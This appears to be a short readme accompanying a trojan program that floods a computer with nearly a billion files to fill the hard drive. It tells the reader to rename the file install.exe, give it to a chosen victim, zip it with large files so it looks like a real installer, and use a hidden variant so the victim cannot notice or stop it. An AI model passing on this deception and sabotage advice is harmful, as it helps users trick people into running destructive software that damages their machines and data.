This is a trojan horse. It is NOT an install program.
This program creates 999999999 files in
your main directory, and then repeats the process for
the directory the .exe is in.
This IS harmful. It will most likely fill up your
hard drive completely.

Why use this? Give it to someone who you want it to
work on. Rename it to install.exe and tell them to run
it. It'll create a ton of files on their computer
while its supposedly installing. 

If you want this to look more realistic, try zipping it
with other big files, that why it'll look like a real
install program and not just a dinky 10kb .exe

hdkill2.exe is the same thing, except it runs invisibly.
that way, the person doesn't even know the program is
running so they don't know anything is wrong until its
too late, and they don't know how to stop it.